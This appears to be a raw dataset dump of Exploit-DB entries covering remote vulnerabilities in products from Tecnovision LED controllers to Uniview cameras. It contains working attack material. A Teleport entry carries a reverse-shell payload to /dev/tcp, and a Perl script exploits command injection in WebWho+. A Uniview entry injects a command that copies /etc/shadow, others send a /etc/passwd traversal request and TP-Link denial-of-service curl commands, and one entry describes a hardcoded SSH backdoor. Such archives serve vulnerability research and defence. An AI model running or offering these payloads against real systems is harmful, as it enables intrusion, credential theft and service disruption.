deardaniel/secdata-raw huggingface dataset:
Exploit-DB #42753
Description: Tecnovision DLX Spot - SSH Backdoor Access
Type: remote
Platform: multiple
Date: 2017-05-19
Author: Simon Brannstrom

Exploit:
# Exploit Title: DlxSpot - Player4 LED video wall - Hardcoded Root SSH Password.
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: All known versions
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls all over the world, they are used in football arenas, concert halls, shopping malls, as roadsigns etc.
# CVE: CVE-2017-12928
# Linked CVE's: CVE-2017-12929, CVE-2017-12930

# Visit my github page at https://github.com/unknownpwn/unknownpwn.github.io/blob/master/README.md for complete takeover of the box, from SQLi to root access.
###############################################################################################################################

Hardcoded password for all dlxspot players, login with the following credentials via SSH

username: dlxuser
[CREDENTIAL_REDACTED]

Escalate to root with the same password.

TIMELINE:
2017-05-14 - Discovery of vulnerabilities.
2017-05-15 - Contacted Tecnovision through contact form on manufacturer homepage.
2017-06-01 - No response, tried contacting again through several contact forms on homepage.
2017-08-10 - Contacted Common Vulnerabilities and Exposures (CVE) requesting CVE assignment.
2017-08-17 - Three CVE's assigned for the vulnerabilities found.
2017-08-22 - With help from fellow hacker and friend, byt3bl33d3r, sent an email in Italian to the company.
2017-09-18 - No response, full public disclosure.

  DEDICATED TO MARCUS ASTROM
FOREVER LOVED - NEVER FORGOTTEN
Exploit-DB #51019
Description: Teleport v10.1.1 - Remote Code Execution (RCE)
Type: remote
Platform: multiple
Date: 2022-09-23
Author: Brandon Roach

Exploit:
# Exploit Title: Teleport v10.1.1 - Remote Code Execution (RCE)
# Date: 08/01/2022
# Exploit Author: Brandon Roach & Brian Landrum
# Vendor Homepage: https://goteleport.com
# Software Link: https://github.com/gravitational/teleport
# Version: < 10.1.2
# Tested on: Linux
# CVE: CVE-2022-36633

Proof of Concept (payload):
https://teleport.site.com/scripts/%22%0a%2f%62%69%6e%2=
f%62%61%73%68%20%2d%6c%20%3e%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%3=
0%2e%31%2f%35%35%35%35%20%30%3c%26%31%20%32%3e%26%31%20%23/install-node.sh?=
method=3Diam


Decoded payload:
"
/bin/bash -l > /dev/tcp/10.0.0.1/5555 0<&1 2>&1 #
Exploit-DB #33499
Description: thttpd 2.24 - HTTP Request Escape Sequence Terminal Command Injection
Type: remote
Platform: multiple
Date: 2010-01-11
Author: evilaliv3

Exploit:
source: https://www.securityfocus.com/bid/37714/info

Acme 'thttpd' and 'mini_httpd' are prone to a command-injection vulnerability because they fail to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

This issue affects thttpd 2.25b and mini_httpd 1.19; other versions may also be affected. 

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload
Exploit-DB #21276
Description: Thunderstone TEXIS 3.0 - Full Path Disclosure
Type: remote
Platform: multiple
Date: 2002-02-06
Author: phinegeek

Exploit:
source: https://www.securityfocus.com/bid/4035/info

A vulnerability in TEXIS allows an attacker to view the full path to the web root.

If the attacker submits an HTTP request for an invalid path, the server will return an error page containing the path to the web root. System information may also be revealed.

Versions prior to TEXIS 4.03[PII_REDACTED] 20030403 are vulnerable. 

http://www.example.com/texis/nonexistent/path/
Exploit-DB #25291
Description: Tincat Network Library - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2005-03-28
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12912/info

Tincat is reported prone to a remote buffer overflow vulnerability.

It is reported that this issue exists in the function responsible for logging users that have connected to a game server.

A successful attack can allow an attacker to gain unauthorized access to a vulnerable computer in the context of a game server. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25291.zip
Exploit-DB #31119
Description: TinTin++ / WinTin++ 1.97.9 - '#chat' Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2008-02-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27660/info

TinTin++ and WinTin++ are prone to multiple security vulnerabilities affecting the application's '#chat' functionality. These issues include a buffer-overflow vulnerability, a denial-of-service vulnerability, and a file-overwrite vulnerability.

Attackers can exploit these issues to execute arbitrary code, cause denial-of-service conditions, or overwrite files with arbitrary content.

These issues affect TinTin++ and WinTin++ 1.97.9; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31119.tar.gz
Exploit-DB #33871
Description: Tiny Java Web Server 1.71 - Multiple Input Validation Vulnerabilities
Type: remote
Platform: multiple
Date: 2010-04-08
Author: cp77fk4r

Exploit:
source: https://www.securityfocus.com/bid/39666/info

Tiny Java Web Server is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include a directory-traversal vulnerability, an open-redirection vulnerability, and a source code information-disclosure vulnerability.

Exploiting these issues can allow an attacker to retrieve arbitrary local files and view directories within the context of the webserver. Information harvested may aid in launching further attacks. A successful exploit may aid in phishing attacks; other attacks may also be possible.

Tiny Java Web Server 1.71 is vulnerable; other versions may also be affected. 

get /%00 HTTP/1.1\r\nHost: digitalwhisper.co.il<http://digitalwhisper.co.il>\r\n\r\n
GET /demo-servlets/%2fWEB-INF/config/mishka.properties HTTP/1.1
Exploit-DB #20132
Description: Tomcat 3.0/3.1 Snoop Servlet - Information Disclosure
Type: remote
Platform: multiple
Date: 2000-07-20
Author: ET LoWNOISE

Exploit:
source: https://www.securityfocus.com/bid/1532/info

A vulnerability exists in the snoop servlet portion of the Tomcat package, version 3.1, from the Apache Software Foundation. Upon hitting an nonexistent file with the .snp extension, too much information is presented by the server as part of the error message. This information may be useful to a would be attacker in conducting further attacks. This information includes full paths, OS information, and other information that may be sensitive. 

http://narco.guerrilla.sucks.co:8080/examples/jsp/snp/anything.snp
====
Snoop Servlet

Servlet init parameters:

Context init parameters:

Context attributes:
javax.servlet.context.tempdir =
/appsrv2/jakarta-tomcat/work/localhost_8080%2Fexamples
sun.servlet.workdir =
/appsrv2/jakarta-tomcat/work/localhost_8080%2Fexamples

Request attributes:

Servlet Name: snoop
Protocol: HTTP/1.0
Scheme: http
Server Name: narco.goverment.sucks.co
Server Port: 8080
Server Info: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.1.8; AIX
4.2 POWER_RS; java.vendor=IBM Corporation)
Remote Addr: xxx.xxx.xxx.xxx
Remote Host: xxx.xxx.xxx.xxx
Character Encoding: null
Content Length: -1
Content Type: null
Locale: en
Default Response Buffer: 8192

Parameter names in this request:

Headers in this request:
Host: narco.goverment.sucks.co:8080
Accept-Encoding: gzip
Cookie: JSESSIONID=To1212mC[PII_REDACTED]226407At
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png,
*/*
Connection: Keep-Alive
Accept-Charset: iso-8859-1,*,utf-8
User-Agent: Mozilla/4.51 [en] (Winsucks; I)
Accept-Language: en

Cookies in this request:
JSESSIONID = To1212mC[PII_REDACTED]226407At

Request Is Secure: false
Auth Type: null
HTTP Method: GET
Remote User: null
Request URI: /examples/jsp/snp/anything.snp
Context Path: /examples
Servlet Path: /jsp/snp/anything.snp
Path Info: null
Path Trans: null
Query String: null

Requested Session Id: To1212mC[PII_REDACTED]226407At
Current Session Id: To1212mC[PII_REDACTED]226407At
Session Created Time:[PII_REDACTED]77
Session Last Accessed Time:[PII_REDACTED]49
Session Max Inactive Interval Seconds: 1800

Session values:
numguess = num.NumberGuessBean@6bfa9a1
Exploit-DB #20719
Description: Tomcat 3.2.1/4.0 / Weblogic Server 5.1 - URL JSP Request Source Code Disclosure
Type: remote
Platform: multiple
Date: 2001-03-28
Author: Sverre H. Huseby

Exploit:
source: https://www.securityfocus.com/bid/2527/info


BEA Systems WebLogic Server is an enterprise level web and wireless application server.

Tomcat can be used together with the Apache web server or a stand alone server for Java Servlets and Java Pages. Tomcat ships with a built in web server.

Tomcat and WebLogic's inbuilt webserver will return the source code of JSP files when an HTTP request contains URL encoded replacements for characters in the filename.

If successfully exploited this vulnerability could lead to the disclosure of sensitive information contained within JSP pages. This information may assist in further attacks against the host.

WebLogic:

http://www.example.com/index.js%70

Tomcat:

http://www.example.com/examples/jsp/num/numguess.js%70

The following variant URL for Tomcat has been provided by lovehacker <lovehacker@263.net>:

http://www.example.com/examples/snp/snoop%252ejsp
Exploit-DB #19691
Description: Tony Greenwood WebWho+ 1.1 - Remote Command Execution
Type: remote
Platform: multiple
Date: 1999-12-26
Author: loophole

Exploit:
source: https://www.securityfocus.com/bid/892/info

WebWho+ is a free cgi script written by Tony Greenwood for executing whois queries via the www. Though it does perform checks for shell escape characters on some parameters, it misses the 'type' variable and allows for malicious input to be sent to a shell. It is possible to execute arbitrary commands on a webserver running WebWho+ v1.1 with the uid of the webserver (usually nobody). 

#!/usr/bin/perl
#
# hhp-webwho.pl
# WebWho+ v1.1 (whois cgi) remote exploit.
#
# By: loophole of hhp.
# [12/26/99]
#
# http://hhp.perlx.com/
# loophole@hhp.perlx.com
#
# Advisrory: http://hhp.perlx.com/ouradvisories/hhp-webwho.txt

use IO::Socket;

if (@ARGV < 2)
 {
  print "* hhp-webwho.pl\n";
  print "* webwho.pl (whois cgi) remote exploit.\n";
  print "* By: loophole of hhp.\n";
  print "* loophole\@hhp.perlx.com\n";
  print "* http://hhp.perlx.com/\n\n";
  print "USAGE: $0 <Server> [-e <File Extention>] <Command>\n\n";
  print "* Server         = www.example.com\n";
  print "* File Extension = /cgi-bin/webwho.pl\n";
  print "* Command        = Shell command\n\n";
  print "* NOTE: Defualt <File Extension> is /cgi-bin/webwho.pl\n";
  print "*       It only needs changing if it is not the defualt.\n\n";
  print "* EXAMPLE: $0 www.gat.org id\n";
  print "*      OR: $0 www.gat.org -e /jack/webwho.pl id\n";
  exit 0;
 }

if ($ARGV[1] eq "-e")
 {
  if (@ARGV != 4)
   {
    print "Invalid Usage!\n";
    exit 0;
   }
  $server     = $ARGV[0];
  $saywhatnig = $ARGV[2];
  $command    = $ARGV[3];
 }
  else
   {
    if (@ARGV == 2)
     {
      $server     = $ARGV[0];
      $command    = $ARGV[1];
      $saywhatnig = "/cgi-bin/webwho.pl";
     }
   }

$sock = IO::Socket::INET->new(PeerAddr => $server,
                              PeerPort => 80,
                                 Proto => "tcp") or die "Wack connection.\n";

$calkuhlashun = 45 + length($command);

  print $sock "POST $saywhatnig HTTP/1.1\n";
  print $sock "Accept-Language: en-us\n";
  print $sock "Host: $server\n";
  print $sock "Content-Length: $calkuhlashun\n";
  print $sock "Connection: Keep-Alive\n\n";
  print $sock 'command=X&type=";echo fukk;';
  print $sock "$command";
  print $sock ";echo fokk&Check=X\n";
  $doot = 0;

  while(<$sock>)
   {
    s/\n//g;
    s/fukk<br>/--------Exploit Stats------------/;
    s/fokk<br>/-hhpfoelife-\n/;
    s/<br>//g;
    $foo = $_;

     if ($foo =~ /---Ex/)
      {
       $doot = 1;
      }

     if ($foo =~ /-hhpfoelife-/)
      {
       $doot = 0;
       print "---------------------------------\n";
       exit 0;
      }

     if ($doot == 1) 
      {
       print "$foo\n";
      }  
   }
exit 0;
Exploit-DB #30508
Description: Toribash 2.x - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2007-08-18
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25359/info

Toribash is prone to multiple remote code-execution and denial-of-service vulnerabilities that affect game servers and clients. Seven vulnerabilties were reported.

Attackers may exploit these issues to execute arbitrary code in the content of the game server and game client or to deny service to both servers and clients. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30508.zip
Exploit-DB #36238
Description: Toshiba e-Studio (Multiple Devices) - Security Bypass
Type: remote
Platform: multiple
Date: 2011-10-17
Author: Deral Heiland PercX

Exploit:
source: https://www.securityfocus.com/bid/50168/info

Multiple Toshiba e-Studio devices are prone to a security-bypass vulnerability.

Successful exploits will allow attackers to bypass certain security restrictions and gain access in the context of the device. 

http://www.example.com/TopAccess//Administrator/Setup/ScanToFile/List.htm
Exploit-DB #52250
Description: TP-Link VN020 F3v(T) TT_V6.2.1021 - Denial Of Service (DOS)
Type: remote
Platform: multiple
Date: 2025-04-17
Author: Mohamed Maatallah

Exploit:
# Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 - Denial Of Service (DOS)
# Date: 10/22/2024
# Exploit Author: Mohamed Maatallah
# Vendor Homepage: https://www.tp-link.com
# Version: TT_V6.2.1021 (VN020-F3v(T))
# Tested on: VN020-F3v(T) Router (Hardware Version 1.0)
# CVE: CVE-2024-12342


Description:
Two critical vulnerabilities discovered in TP-Link VN020-F3v(T) router's
UPnP implementation, affecting the WANIPConnection service. The
vulnerabilities allow unauthenticated attackers to cause denial of service
and potential memory corruption through malformed SOAP requests.

Proof of Concept 1 (Missing Parameters DoS):

curl -v -X POST "http://192.168.1.1:5431/control/WANIPConnection" \
-H "Content-Type: text/xml" \
-H "SOAPAction:
\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"" \
-d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body><u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping></s:Body></s:Envelope>'

Proof of Concept 2 (Memory Corruption):

curl -v -X POST "http://192.168.1.1:5431/control/WANIPConnection" \
     -H "Content-Type: text/xml" \
     -H "SOAPAction:
\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"" \
     -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <u:SetConnectionType
xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewConnectionType>'"$(perl -e 'print "%x" x
10000;')"'</NewConnectionType>
    </u:SetConnectionType>
  </s:Body>
</s:Envelope>'
Exploit-DB #24725
Description: Trend Micro ScanMail for Domino 2.51/2.6 - Remote File Disclosure
Type: remote
Platform: multiple
Date: 2004-11-05
Author: DokFLeed

Exploit:
source: https://www.securityfocus.com/bid/11612/info

ScanMail for Domino is reported prone to a vulnerability that may allow sensitive configuration files to be disclosed to remote attackers.

A successful attack may allow an attacker to disclose sensitive information and allow the attacker to disable antivirus protection on a gateway allowing potentially malicious email messages to reach internal users. It is conjectured that as malicious emails are delivered to client mail applications that are seemingly protected by the gateway application, a user may be inclined to open the message due to a false sense of security. This issue may result in a malicious code infection.

All versions of ScanMail for Domino are considered to be vulnerable at the moment.

# Written by DokFLeed <dokfleed at dokfleed.net>
# Looking for smency.nsf Trend/Lotus
#
if(description)
{
script_version ("$Revision: 1.3 $");
script_id(14312);
script_name(english:"ScanMail file check"); 
desc["english"] = 
"This script attempts to read sensitive files used by Trend ScanMail,
an anti-virus protection program for Domino (formerly Lotus Notes).
An attacker, exploiting this flaw, may gain access to confidential
data or disable the anti-virus protection.

Risk : Medium";

script_description(english:desc["english"]);
script_summary(english:"Checks for the presence ScanMail files"); 
script_category(ACT_GATHER_INFO); 
script_family(english:"CGI abuses"); 
script_copyright(english:"This script is Copyright (C) 2004 by DokFLeed"); 
script_dependencie("find_service.nes", "http_version.nasl");
script_require_ports("Services/www", 80);
exit(0); 
}

# Start of Code 
include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if (!get_port_state(port)) exit(0);

if (http_is_dead(port:port)) exit(0);

files = make_array("/smency.nsf" , "Encyclopedia",
"/smconf.nsf" , "Configuration",
"/smhelp.nsf" , "Help",
"/smftypes.nsf" , "File Types",
"/smmsg.nsf" , "Messages",
"/smquar.nsf" , "Quarantine",
"/smtime.nsf" , "Scheduler",
"/smsmvlog.nsf" , "Log",
"/smadmr5.nsf" , "Admin Add-in");
report = "";
foreach path (keys(files))
{
req = http_get(item:path, port:port);
r = http_keepalive_send_recv(port:port, data:req);

if (r == NULL) exit(0);

if ("Trend ScanMail" >< r)
{
if (!report)
{
report =
"Sensitive files used by Trend ScanMail, an anti-virus protection
program for Domino (formerly Lotus Notes), are readable via the web.
These files might expose confidential data or allow an attacker to
disable the anti-virus protection.

Solution: Password protect access to these files.

The following files were found:
";
}
report += string("\n ", path, " - ", files[path]);
}
}
if (report) security_warning(port:port, data:report);
Exploit-DB #35464
Description: Trend Micro WebReputation API 10.5 - URI SecURIty Bypass
Type: remote
Platform: multiple
Date: 2011-03-14
Author: DcLabs Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/46864/info

Trend Micro WebReputation API is prone to a security-bypass vulnerability.

An attacker can exploit this issue to bypass the filter included in the download mechanism. Successful exploits may cause victims to download malicious files onto affected computers.

This issue affects WebReputation API 10.5; other versions may also be vulnerable. 

 http://www.example.com/dist/nmap-5.51-setup.exe?
Exploit-DB #20450
Description: Trlinux Postaci Webmail 1.1.3 - Password Disclosure
Type: remote
Platform: multiple
Date: 2000-11-30
Author: Michael R. Rudel

Exploit:
source: https://www.securityfocus.com/bid/2029/info

Postaci Webmail is a database-driven web e-mail system. PostACI contains a vulnerability in its default configuration that may allow a remote attacker to gain access to the underlying database.

Webmail stores database username and password information in a file called global.inc. This file is world-readable and stored in a directory accessible by a web browser over the internet. As a result, an attacker can retrieve the global.inc file with a web browser on a typical system (default configuration). Once obtained, the attacker may be able to access the systems database.

Successful exploitation will lead to the attacker gaining unauthorized access to the database.

Depending on the database and system type, this may lead to a compromise of interactive access on the host running Webmail and the database. 

http://target/includes/global.inc
Exploit-DB #11856
Description: uhttp Server 0.1.0-alpha - Directory Traversal
Type: remote
Platform: multiple
Date: 2010-03-23
Author: Salvatore Fresta

Exploit:
uhttp Server Path Traversal Vulnerability

 Name              uhttp Server
 Vendor            http://uhttps.sourceforge.net
 Versions Affected 0.1.0-alpha

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-03-10

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE
 

I. ABOUT THE APPLICATION

An ultra lightweight webserver with  a very  small  memory
usage.


II. DESCRIPTION

Bad chars are not properly sanitised.


III. ANALYSIS

Summary:

 A) Path Traversal

A) Path Traversal

The problem is in the management of the bad chars that can
be  used  to  launch  some attacks,  such as the directory
traversal.
The path traversal sequence ('../') is not checked, so  it
can be used for seeking the  directories  of the  affected
system.


IV. SAMPLE CODE

The following is a simple example:

GET /../../../../../../etc/passwd HTTP/1.1

In this example, the daemon has been started in the follows
path: /home/drosophila/downloads/uhttps/src


V. FIX

No patch.


VIII. DISCLOSURE TIMELINE

2010-03-10 Bug discovered
2009-03-10 Advisory Release
Exploit-DB #31936
Description: UltraEdit 14.00b - FTP/SFTP 'LIST' Directory Traversal
Type: remote
Platform: multiple
Date: 2008-06-17
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/29784/info

UltraEdit is prone to a directory-traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. This issue occurs in the FTP/SFTP client.

Exploiting this issue will allow an attacker to write arbitrary files to locations outside of the application's current directory. This could help the attacker launch further attacks.

UltraEdit 14.00b is vulnerable; other versions may also be affected. 

Response to LIST (backslash):

\..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
/../../../../../../../../../testfile.txt\r\n

Response to LIST (backslash and forward-slash):
../..\/..\/..\/../..\/../..\/../testfile.txt\r\n
Exploit-DB #43999
Description: Uniview - Remote Command Execution / Export Config (PoC)
Type: remote
Platform: multiple
Date: 2017-10-28
Author: bashis

Exploit:
[STX]

Subject: Uniview RCE and export config PoC
Researcher: bashis <mcw noemail eu> (October 2017)

Attack Vector: Remote
Authentication: Anonymous (no credentials needed)

[Export config]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}

-[tcpdump]-

[check active capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":263,"szUserName":"","u32UserLoginHandle":-1}

[start capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"}

[stop capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":0,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":"eth0"}

[download capture]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}

-[Remote Command Execution]-

[Get /etc/shadow]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":264,"status":1,"bSelectAllPort":1,"stSelPort":0,"bSelectAllIp":1,"stSelIp":0,"stSelNicName":";cp%20/etc/shadow%20/tmp/packetcapture.pcap;"}

[get the result]
http://IP:PORT/cgi-bin/main-cgi?json={"cmd":265,"szUserName":"","u32UserLoginHandle":-1}

[ETX]